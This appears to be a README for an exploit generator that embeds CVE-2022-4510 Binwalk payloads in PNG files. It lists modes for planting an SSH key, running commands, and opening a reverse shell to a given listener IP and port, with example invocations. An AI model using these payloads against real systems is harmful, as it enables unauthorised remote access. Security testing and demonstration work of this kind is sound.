This script allows you to generate exploits for targeting CVE-2022-4510 Binwalk vulnerabilities. The exploits can be used for testing and demonstrations. The supported options include SSH, command execution, and reverse shell.
- Python 3.x
- Clone the repository or download the script file.
- Run the script with the desired options. The available options are:
ssh
: Generate an exploit for SSH.- Arguments:
file
: Path to the input .png file.pub
: Path to the public key file.
- Arguments:
command
: Generate an exploit for executing a command.- Arguments:
--command
: Command to execute.file
: Path to the input .png file.
- Arguments:
reverse
: Generate an exploit for reverse shell.- Arguments:
file
: Path to the input .png file.ip
: IP address of the listener.port
: Port number of the listener.
- Arguments:
Example usages:
python exploit_generator.py ssh input.png public_key.pub
python exploit_generator.py command --command "ls -l" input.png
python exploit_generator.py reverse input.png 192.168.0.100 4444
The generated exploit will be saved as binwalk_exploit.png
in the current directory.
Use this script responsibly and only on systems that you have permission to test or demonstrate vulnerabilities. The author is not responsible for any illegal or unauthorized use of this script.